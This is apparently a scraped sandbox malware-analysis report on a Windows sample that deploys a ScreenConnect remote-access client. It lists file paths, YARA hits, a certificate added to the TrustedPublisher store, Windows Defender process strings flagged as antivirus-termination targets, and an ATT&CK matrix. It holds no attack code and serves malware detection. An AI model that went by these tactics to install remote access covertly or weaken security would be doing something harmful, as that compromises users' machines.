Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Deployment\44WRGOCZ.N86\B07C6WH9.KE3\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.Client.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.WindowsClient.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Queries volume information: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.Windows.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..tion_25b0fbb6ef7eb094_0018.0004_c07f10b54727c540\ScreenConnect.ClientService.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Code function: 0_2_00761807 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00761807

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

AV process strings found (often used to terminate AV products)

Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.8.dr	Binary or memory string: MsMpEng.exe

Adds / modifies Windows certificates

Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C Blob

Jump to behavior

Remote Access Functionality

Yara detected ScreenConnect Tool

Source: Yara match	File source: 4.0.ScreenConnect.WindowsClient.exe.350000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1097848481.0000000000352000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1496898405.000000000270A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2709412544.000002728031A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dfsvc.exe PID: 6956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.WindowsClient.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ScreenConnect.ClientService.exe PID: 7040, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Apps\2.0\V0DMJ93T.Z9B\4KQQ0DB9.HM7\scre..ient_4b14c015c87c1ad8_0018.0004_none_b4e7e84fe683500e\ScreenConnect.WindowsClient.exe, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	12 Command and Scripting Interpreter	1 DLL Search Order Hijacking	1 DLL Search Order Hijacking	1 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	1 Windows Service	1 Install Root Certificate	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	1 Scheduled Task/Job	12 Process Injection	1 Timestomp	NTDS	41 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Bootkit	1 Scheduled Task/Job	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Search Order Hijacking	Cached Domain Credentials	41 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	41 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Hidden Users	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Bootkit	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe

Overview

General Information

Detection

Compliance

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Privilege Escalation

Compliance

Spreading

Networking

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
SecuriteInfo.com.W32.Lolbas.A.tr.14514.3.exe